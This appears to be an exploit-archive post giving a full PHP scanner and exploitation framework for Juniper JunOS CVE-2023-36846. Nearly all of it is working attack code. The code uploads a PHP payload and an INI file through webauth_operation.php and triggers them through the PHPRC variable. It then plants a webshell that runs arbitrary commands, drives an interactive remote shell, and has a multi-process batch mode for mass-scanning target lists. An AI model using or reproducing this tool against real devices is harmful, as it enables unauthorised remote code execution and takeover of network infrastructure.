📄 Juniper JunOS 23.4 Module Scanner / Exploitation Framework

=============================================================================================================================================
    | # Title     : Juniper Junos OS 23.4 Modular Scanner & Exploitation Framework                                                              |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits)                                                            |
    | # Vendor    : https://support.juniper.net/support/eol/software/junos/                                                                     |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/213671/ & CVE-2023-36846
    
    [+] Summary    : This PHP script is a modular scanner and exploitation framework targeting Juniper JunOS CVE‑2023‑36846. 
                     It is designed with a clear separation of responsibilities and supports single‑target testing, interactive exploitation, and large‑scale batch scanning.
    
    [+] Key Components & Flow :
    
    Utilities (Utils)
    
    Helpers for screen clearing, URL normalization, and parsing target lists from files.
    
    HTTP Client (HttpClient)
    A reusable cURL wrapper with configurable timeouts, SSL verification, redirects, headers, and POST/GET handling.
    
    [+] Vulnerability Scanner (JunOSVulnerabilityScanner) :
    
    Detects whether the vulnerable endpoint (webauth_operation.php) is accessible.
    
    Attempts controlled file uploads using multiple size heuristics.
    
    Uploads a PHP test payload and an INI file to trigger execution via PHPRC.
    
    Verifies vulnerability by checking for unique execution markers.
    
    Performs cleanup after testing.
    
    [+] Exploitation Module (JunOSExploiter) :
    
    Deploys a functional webshell using the same upload/INI mechanism.
    
    Executes arbitrary commands through the webshell and captures output.
    
    Supports automated cleanup of deployed artifacts.
    
    [+] PoC : 
    
    # Quick Scan
    `php junos_exploit.php -u https://target.com -r -v`
    
    # Interactive Shell
    `php junos_exploit.php -u https://target.com -v`
    
    # Bulk Scan
    `php junos_exploit.php -f targets.txt -t 10 -o results.txt`
    
    # Secure Scan (with SSL)
    `php junos_exploit.php -f targets.txt -s -v`
    
    
    <?php
    
    
    class Utils {
        public static function clearScreen() {
            if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
                system('cls');
            } else {
                system('clear');
            }
        }
        
        public static function parseUrlsFile($filename) {
            $urls = [];
            if (!file_exists($filename)) {
                throw new Exception("File not found: {$filename}");
            }
            
            $lines = file($filename, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
            foreach ($lines as $line) {
                $line = trim($line);
                if (!empty($line) && filter_var($line, FILTER_VALIDATE_URL)) {
                    $urls[] = $line;
                }
            }
            
            return $urls;
        }
        
        public static function normalizeUrl($url) {
            $url = rtrim($url, '/');
            if (!preg_match('#^https?://#', $url)) {
                $url = 'https://' . $url;
            }
            return $url;
        }
    }
    
    class HttpClient {
        private $verifySSL = false;
        private $timeout = 15;
        private $userAgent = 'Mozilla/5.0 (compatible; JunOS-Scanner/1.0)';
        
        public function __construct($options = []) {
            $this->verifySSL = $options['verify_ssl'] ?? false;
            $this->timeout = $options['timeout'] ?? 15;
        }
        
        public function setVerifySSL($verify) {
            $this->verifySSL = $verify;
        }
        
        public function request($url, $method = 'GET', $data = null, $headers = []) {
            $ch = curl_init();
            
            $curlOptions = [
                CURLOPT_URL => $url,
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_MAXREDIRS => 3,
                CURLOPT_TIMEOUT => $this->timeout,
                CURLOPT_CONNECTTIMEOUT => 5,
                CURLOPT_USERAGENT => $this->userAgent,
                CURLOPT_SSL_VERIFYPEER => $this->verifySSL,
                CURLOPT_SSL_VERIFYHOST => $this->verifySSL ? 2 : 0,
            ];
            
            $defaultHeaders = [];
            if (!isset($headers['Content-Type']) && $method === 'POST') {
                $defaultHeaders[] = 'Content-Type: application/x-www-form-urlencoded';
            }
            
            $allHeaders = array_merge($defaultHeaders, $headers);
            if (!empty($allHeaders)) {
                $curlOptions[CURLOPT_HTTPHEADER] = $allHeaders;
            }
            
            if ($method === 'POST') {
                $curlOptions[CURLOPT_POST] = true;
                if ($data !== null) {
                    if (is_array($data)) {
                        $curlOptions[CURLOPT_POSTFIELDS] = http_build_query($data);
                    } else {
                        $curlOptions[CURLOPT_POSTFIELDS] = $data;
                    }
                }
            }
            
            curl_setopt_array($ch, $curlOptions);
            
            $response = curl_exec($ch);
            $info = curl_getinfo($ch);
            $error = curl_error($ch);
            $errno = curl_errno($ch);
            
            curl_close($ch);
            
            return [
                'success' => $errno === 0,
                'response' => $response,
                'http_code' => $info['http_code'] ?? 0,
                'error' => $error,
                'errno' => $errno,
                'info' => $info,
            ];
        }
    }
    
    class JunOSVulnerabilityScanner {
        private $httpClient;
        private $baseUrl;
        private $verbose;
        private $randomPrefix;
        
        public function __construct($baseUrl, $verbose = false, $verifySSL = false) {
            $this->baseUrl = Utils::normalizeUrl($baseUrl);
            $this->verbose = $verbose;
            $this->randomPrefix = 'wt_' . bin2hex(random_bytes(4));
            $this->httpClient = new HttpClient(['verify_ssl' => $verifySSL]);
            
            if ($verbose) {
                echo "[DEBUG] Scanner initialized for: {$this->baseUrl}\n";
                echo "[DEBUG] Random prefix: {$this->randomPrefix}\n";
            }
        }
        
        public function testUploadEndpoint() {
            $url = $this->baseUrl . "/webauth_operation.php";
            $response = $this->httpClient->request($url);
            
            if ($response['http_code'] === 404 || $response['http_code'] === 403) {
                return false;
            }
            
    
            $testData = ['rs' => 'test'];
            $response = $this->httpClient->request($url, 'POST', $testData);
            
            return $response['http_code'] === 200;
        }
        
        private function attemptUpload($payload, $filename, $mimeType = 'text/html') {
            $uploadUrl = $this->baseUrl . "/webauth_operation.php";
            
            $sizeAttempts = [
                strlen(base64_encode($payload)), 
                strlen($payload), 
                strlen(base64_encode($payload)) * 2, 
            ];
            
            foreach ($sizeAttempts as $csize) {
                $b64Payload = base64_encode($payload);
                $fileData = "data:{$mimeType};base64,{$b64Payload}";
                
                $postData = [
                    'rs' => 'do_upload',
                    'rsargs[0]' => "[{\"fileData\":\"{$fileData}\",\"fileName\":\"{$filename}\",\"csize\":{$csize}}]"
                ];
                
                if ($this->verbose) {
                    echo "[DEBUG] Attempting upload with csize={$csize}\n";
                }
                
                $response = $this->httpClient->request($uploadUrl, 'POST', $postData);
                
                if (!$response['success'] || $response['http_code'] !== 200) {
                    continue;
                }
                
                $patterns = [
                    '/0:\s*\'([^\']+)\'\s*\},/',
                    '/"0":"([^"]+)"/',
                    '/\'0\':\'([^\']+)\'/',
                    '/filename["\']?\s*:\s*["\']?([^"\'\s,]+)/i',
                ];
                
                foreach ($patterns as $pattern) {
                    if (preg_match($pattern, $response['response'], $matches)) {
                        $uploadedFile = $matches[1];
                        
                        if (strpos($uploadedFile, '..') !== false || strpos($uploadedFile, '/') !== false) {
                            continue;
                        }
                        
                        if ($this->verbose) {
                            echo "[DEBUG] Extracted filename: {$uploadedFile}\n";
                        }
                        
                        return $uploadedFile;
                    }
                }
                
                if (strpos($response['response'], 'fileName') !== false) {
                    
                    $jsonMatch = [];
                    if (preg_match('/\{"?0"?:\s*"([^"]+)"\}/', $response['response'], $jsonMatch)) {
                        return $jsonMatch[1];
                    }
                }
            }
            
            return null;
        }
        
        public function testVulnerability() {
            if ($this->verbose) {
                echo "[*] Testing vulnerability for: {$this->baseUrl}\n";
            }
            
            if (!$this->testUploadEndpoint()) {
                if ($this->verbose) {
                    echo "[-] Upload endpoint not accessible\n";
                }
                return false;
            }
            
            $uniqueToken = $this->randomPrefix . '_test_' . bin2hex(random_bytes(4));
            $phpPayload = "<?php echo '[S]' . '{$uniqueToken}' . '[E]'; ?>";
            
            $phpFile = $this->attemptUpload($phpPayload, $this->randomPrefix . '.php');
            
            if ($phpFile === null) {
                if ($this->verbose) {
                    echo "[-] PHP upload failed\n";
                }
                return false;
            }
            
    
            $iniPayload = 'auto_prepend_file="/var/tmp/' . $phpFile . '"';
            $iniFile = $this->attemptUpload($iniPayload, $this->randomPrefix . '.ini', 'text/plain');
            
            if ($iniFile === null) {
    
                $this->attemptCleanup($phpFile, null);
                if ($this->verbose) {
                    echo "[-] INI upload failed\n";
                }
                return false;
            }
            
    
            $testUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}";
            $response = $this->httpClient->request($testUrl);
            
            $isVulnerable = false;
            $cleanupFiles = ['php' => $phpFile, 'ini' => $iniFile];
            
    
            if (strpos($response['response'], $uniqueToken) !== false) {
                $isVulnerable = true;
            } else {
    
                $cmdTestUrl = $testUrl . "&0=echo+" . urlencode($uniqueToken);
                $cmdResponse = $this->httpClient->request($cmdTestUrl);
                
                if (strpos($cmdResponse['response'], $uniqueToken) !== false) {
                    $isVulnerable = true;
                } else {
    
                    if (preg_match('/\[S\](.*?)\[E\]/s', $cmdResponse['response'], $matches)) {
                        if (strpos($matches[1], $uniqueToken) !== false) {
                            $isVulnerable = true;
                        }
                    }
                }
            }
            
            $this->attemptCleanup($phpFile, $iniFile);
            
            return $isVulnerable;
        }
        
        private function attemptCleanup($phpFile, $iniFile) {
    
            if ($phpFile) {
                $cleanupUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}&delete=1";
                $this->httpClient->request($cleanupUrl);
            }
            
    
            if ($iniFile) {
    
                $emptyIni = '';
                $this->attemptUpload($emptyIni, $iniFile, 'text/plain');
            }
        }
        
        public function getExploitInstance() {
            return new JunOSExploiter($this->baseUrl, $this->verbose, $this->httpClient, $this->randomPrefix);
        }
    }
    
    class JunOSExploiter {
        private $baseUrl;
        private $httpClient;
        private $verbose;
        private $randomPrefix;
        private $uploadedFiles = [];
        
        public function __construct($baseUrl, $verbose, $httpClient, $randomPrefix) {
            $this->baseUrl = $baseUrl;
            $this->httpClient = $httpClient;
            $this->verbose = $verbose;
            $this->randomPrefix = $randomPrefix;
        }
        
        public function deployWebshell() {
            $phpFilename = $this->randomPrefix . '_shell.php';
            $iniFilename = $this->randomPrefix . '_config.ini';
            
    
            $phpPayload = <<<'PHP'
    <?php
    if(isset($_GET['cleanup'])) {
        @unlink(__FILE__);
        if(isset($_GET['ini'])) {
            $iniFile = '/var/tmp/' . basename($_GET['ini']);
            @unlink($iniFile);
        }
        exit;
    }
    if(isset($_GET['cmd'])) {
        echo '[S]';
        system($_GET['cmd']);
        echo '[E]';
    }
    ?>
    PHP;
    
            $scanner = new JunOSVulnerabilityScanner($this->baseUrl, $this->verbose);
            
            $phpFile = $scanner->attemptUpload($phpPayload, $phpFilename);
            if (!$phpFile) {
                throw new Exception("Failed to upload PHP webshell");
            }
            
            $iniPayload = 'auto_prepend_file="/var/tmp/' . $phpFile . '"';
            $iniFile = $scanner->attemptUpload($iniPayload, $iniFilename, 'text/plain');
            
            if (!$iniFile) {
                throw new Exception("Failed to upload INI configuration");
            }
            
            $this->uploadedFiles = [
                'php' => $phpFile,
                'ini' => $iniFile,
                'shell_url' => $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$iniFile}"
            ];
            
            $testUrl = $this->uploadedFiles['shell_url'] . "&cmd=whoami";
            $testResponse = $this->httpClient->request($testUrl);
            
            if (!preg_match('/\[S\].*\[E\]/s', $testResponse['response'])) {
                $this->cleanup();
                throw new Exception("Webshell deployed but not functional");
            }
            
            return $this->uploadedFiles;
        }
        
        public function executeCommand($command) {
            if (empty($this->uploadedFiles)) {
                throw new Exception("Webshell not deployed");
            }
            
            $url = $this->uploadedFiles['shell_url'] . "&cmd=" . urlencode($command);
            $response = $this->httpClient->request($url);
            
            if (preg_match('/\[S\](.*?)\[E\]/s', $response['response'], $matches)) {
                return trim($matches[1]);
            }
            
            return $response['response'];
        }
        
        public function cleanup() {
            if (empty($this->uploadedFiles)) {
                return false;
            }
            
            $cleanupUrl = $this->baseUrl . "/webauth_operation.php?PHPRC=/var/tmp/{$this->uploadedFiles['ini']}&cleanup=1&ini={$this->uploadedFiles['ini']}";
            $this->httpClient->request($cleanupUrl);
            
            $this->uploadedFiles = [];
            return true;
        }
        
        public function __destruct() {
            $this->cleanup();
        }
    }
    
    class InteractiveShell {
        private $exploiter;
        private $isWindows;
        
        public function __construct($exploiter) {
            $this->exploiter = $exploiter;
            $this->isWindows = strtoupper(substr(PHP_OS, 0, 3)) === 'WIN';
        }
        
        public function run() {
            echo "\n" . str_repeat("=", 60) . "\n";
            echo "JunOS Interactive Shell\n";
            echo "Type 'exit' or 'quit' to leave (auto-cleanup enabled)\n";
            echo "Type 'clear' to clear screen\n";
            echo "Type 'help' for commands\n";
            echo str_repeat("=", 60) . "\n\n";
            
    
            $stdin = fopen('php://stdin', 'r');
            
            while (true) {
                echo "junos> ";
                $command = trim(fgets($stdin));
                
                if (empty($command)) {
                    continue;
                }
                
                $cmdLower = strtolower($command);
                
                if (in_array($cmdLower, ['exit', 'quit'])) {
                    echo "[*] Exiting and cleaning up...\n";
                    break;
                } elseif ($cmdLower === 'clear') {
                    Utils::clearScreen();
                    continue;
                } elseif ($cmdLower === 'help') {
                    $this->showHelp();
                    continue;
                } elseif ($cmdLower === 'pwd') {
    
                    $command = 'pwd';
                }
                
                try {
                    $result = $this->exploiter->executeCommand($command);
                    echo "[+] Result:\n" . $result . "\n";
                } catch (Exception $e) {
                    echo "[!] Error: " . $e->getMessage() . "\n";
                }
            }
            
            fclose($stdin);
        }
        
        private function showHelp() {
            echo "\nAvailable commands:\n";
            echo "  exit, quit     - Exit shell and cleanup\n";
            echo "  clear          - Clear screen\n";
            echo "  help           - Show this help\n";
            echo "  whoami         - Check current user\n";
            echo "  pwd            - Print working directory\n";
            echo "  id             - Show user/group IDs\n";
            echo "  ls [dir]       - List directory\n";
            echo "  cat <file>     - View file\n";
            echo "  uname -a       - System info\n";
            echo "\n";
        }
    }
    
    class BatchScanner {
        private $threads;
        private $outputFile;
        private $verbose;
        private $verifySSL;
        
        public function __construct($threads = 5, $outputFile = null, $verbose = false, $verifySSL = false) {
            $this->threads = max(1, min($threads, 50));
            $this->outputFile = $outputFile;
            $this->verbose = $verbose;
            $this->verifySSL = $verifySSL;
        }
        
        public function scanUrls($urls) {
            $total = count($urls);
            $vulnerable = 0;
            $results = [];
            
            echo "[*] Starting batch scan with {$this->threads} threads\n";
            echo "[*] Targets: {$total}\n";
            echo "[*] SSL Verification: " . ($this->verifySSL ? "ON" : "OFF") . "\n";
            echo str_repeat("-", 60) . "\n";
            
    
            $chunks = array_chunk($urls, ceil($total / $this->threads));
            $workers = [];
            
            foreach ($chunks as $chunkIndex => $chunk) {
                $pid = pcntl_fork();
                
                if ($pid == -1) {
           
                    die("Could not fork");
                } elseif ($pid) {
                    // Parent process
                    $workers[] = $pid;
                } else {
                    // Child process
                    $childResults = [];
                    foreach ($chunk as $url) {
                        try {
                            $scanner = new JunOSVulnerabilityScanner($url, $this->verbose, $this->verifySSL);
                            $isVuln = $scanner->testVulnerability();
                            
                            if ($isVuln) {
                                $childResults[] = $url;
                                echo "[+] {$url} - VULNERABLE (PID: " . getmypid() . ")\n";
                            } elseif ($this->verbose) {
                                echo "[-] {$url} - NOT vulnerable (PID: " . getmypid() . ")\n";
                            }
                        } catch (Exception $e) {
                            if ($this->verbose) {
                                echo "[!] {$url} - ERROR: " . $e->getMessage() . "\n";
                            }
                        }
                    }
                    
                    $resultFile = sys_get_temp_dir() . '/junos_scan_' . getmypid() . '.tmp';
                    file_put_contents($resultFile, implode("\n", $childResults));
                    exit(0);
                }
            }
            
            foreach ($workers as $pid) {
                pcntl_waitpid($pid, $status);
                
                $resultFile = sys_get_temp_dir() . '/junos_scan_' . $pid . '.tmp';
                if (file_exists($resultFile)) {
                    $childUrls = file($resultFile, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
                    $results = array_merge($results, $childUrls);
                    unlink($resultFile);
                }
            }
            
            if (empty($workers)) {
                // معالجة متسلسلة
                foreach ($urls as $url) {
                    try {
                        $scanner = new JunOSVulnerabilityScanner($url, $this->verbose, $this->verifySSL);
                        $isVuln = $scanner->testVulnerability();
                        
                        if ($isVuln) {
                            $results[] = $url;
                            echo "[+] {$url} - VULNERABLE\n";
                        } elseif ($this->verbose) {
                            echo "[-] {$url} - NOT vulnerable\n";
                        }
                    } catch (Exception $e) {
                        if ($this->verbose) {
                            echo "[!] {$url} - ERROR: " . $e->getMessage() . "\n";
                        }
                    }
                }
            }
            
            if ($this->outputFile && !empty($results)) {
                file_put_contents($this->outputFile, implode("\n", $results) . "\n", LOCK_EX);
                echo "[*] Results saved to: {$this->outputFile}\n";
            }
            
            echo str_repeat("-", 60) . "\n";
            echo "[*] Scan completed. Vulnerable: " . count($results) . "/{$total}\n";
            
            return $results;
        }
    }
    
    function main() {
        $options = getopt("t:o:f:u:vsrh", [
            "threads:", "output:", "file:", "url:", 
            "verbose", "ssl", "report", "help"
        ]);
        
    
        if (isset($options['h']) || isset($options['help'])) {
            showHelp();
            exit(0);
        }
        
    
        $threads = isset($options['t']) ? (int)$options['t'] : 
                   (isset($options['threads']) ? (int)$options['threads'] : 5);
        $output = isset($options['o']) ? $options['o'] : 
                  (isset($options['output']) ? $options['output'] : null);
        $file = isset($options['f']) ? $options['f'] : 
                (isset($options['file']) ? $options['file'] : null);
        $url = isset($options['u']) ? $options['u'] : 
               (isset($options['url']) ? $options['url'] : null);
        $verbose = isset($options['v']) || isset($options['verbose']);
        $verifySSL = isset($options['s']) || isset($options['ssl']);
        $reportOnly = isset($options['r']) || isset($options['report']);
        
    
        if ($url && $reportOnly) {
            echo "[*] Quick vulnerability check for: {$url}\n";
            $scanner = new JunOSVulnerabilityScanner($url, true, $verifySSL);
            $isVuln = $scanner->testVulnerability();
            
            if ($isVuln) {
                echo "\n[✓] TARGET IS VULNERABLE TO CVE-2023-36846\n";
                exit(0);
            } else {
                echo "\n[✗] Target is NOT vulnerable\n";
                exit(1);
            }
        }
        
    
        if ($url && !$reportOnly) {
            echo "[*] Starting interactive mode for: {$url}\n";
            
            try {
    
                $scanner = new JunOSVulnerabilityScanner($url, true, $verifySSL);
                if (!$scanner->testVulnerability()) {
                    echo "[!] Target does not appear to be vulnerable\n";
                    echo "[?] Continue anyway? (y/N): ";
                    $confirm = trim(fgets(STDIN));
                    if (strtolower($confirm) !== 'y') {
                        exit(1);
                    }
                }
                
                $exploiter = $scanner->getExploitInstance();
                $files = $exploiter->deployWebshell();
                
                echo "[+] Webshell deployed successfully\n";
                echo "[+] PHP file: {$files['php']}\n";
                echo "[+] INI file: {$files['ini']}\n";
                echo "[+] Access URL: {$files['shell_url']}\n\n";
                
                $shell = new InteractiveShell($exploiter);
                $shell->run();
                
            } catch (Exception $e) {
                echo "[!] Error: " . $e->getMessage() . "\n";
                exit(1);
            }
            
            exit(0);
        }
        
        if ($file) {
            try {
                $urls = Utils::parseUrlsFile($file);
                if (empty($urls)) {
                    echo "[!] No valid URLs found in file\n";
                    exit(1);
                }
                
                $scanner = new BatchScanner($threads, $output, $verbose, $verifySSL);
                $results = $scanner->scanUrls($urls);
                
                if (!empty($results)) {
                    echo "\n[*] Vulnerable hosts found:\n";
                    foreach ($results as $vulnUrl) {
                        echo "  - {$vulnUrl}\n";
                    }
                }
                
            } catch (Exception $e) {
                echo "[!] Error: " . $e->getMessage() . "\n";
                exit(1);
            }
            
            exit(0);
        }
        
        echo "[!] Invalid arguments\n";
        showHelp();
        exit(1);
    }
    
    function showHelp() {
        echo <<<HELP
    JunOS CVE-2023-36846 Scanner & Exploit Framework by indoushka
    =============================================================
    
    Usage modes:
      php junos_exploit.php -u URL [OPTIONS]      # Interactive shell
      php junos_exploit.php -u URL -r             # Quick vulnerability check
      php junos_exploit.php -f FILE [OPTIONS]     # Batch scan
    
    Options:
      -u, --url URL        Target URL (https://target.com)
      -f, --file FILE      File containing URLs (one per line)
      -t, --threads N      Threads for batch scan (1-50, default: 5)
      -o, --output FILE    Save vulnerable hosts to file
      -v, --verbose        Enable verbose output
      -s, --ssl            Enable SSL certificate verification
      -r, --report         Report only mode (no exploitation)
      -h, --help           Show this help
    
    Examples:
      # Quick check
      php junos_exploit.php -u https://192.168.1.1 -r -v
      
      # Interactive shell
      php junos_exploit.php -u https://vuln-router.local -v
      
      # Batch scan
      php junos_exploit.php -f targets.txt -t 10 -o vuln.txt -v
      
      # Batch scan with SSL verification
      php junos_exploit.php -f targets.txt -s -o secure_scan.txt
    
    Security Notes:
      • Use only on authorized systems
      • SSL verification is disabled by default for testing
      • Tool performs auto-cleanup after exploitation
      • Random file names prevent collisions
    
    HELP;
    }
    
    if (php_sapi_name() === 'cli') {
    
        $requiredExts = ['curl'];
        $missingExts = [];
        
        foreach ($requiredExts as $ext) {
            if (!extension_loaded($ext)) {
                $missingExts[] = $ext;
            }
        }
        
        if (!empty($missingExts)) {
            echo "[!] Missing PHP extensions: " . implode(', ', $missingExts) . "\n";
            echo "[!] Install with: sudo apt-get install php-curl\n";
            exit(1);
        }
        
        declare(ticks = 1);
        pcntl_signal(SIGINT, function() {
            echo "\n[*] Interrupted by user. Exiting...\n";
            exit(0);
        });
        
        try {
            main();
        } catch (Exception $e) {
            echo "[!] Fatal error: " . $e->getMessage() . "\n";
            exit(1);
        }
    } else {
        header('HTTP/1.1 403 Forbidden');
        echo "This tool must be run from command line\n";
        exit(1);
    }
    
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================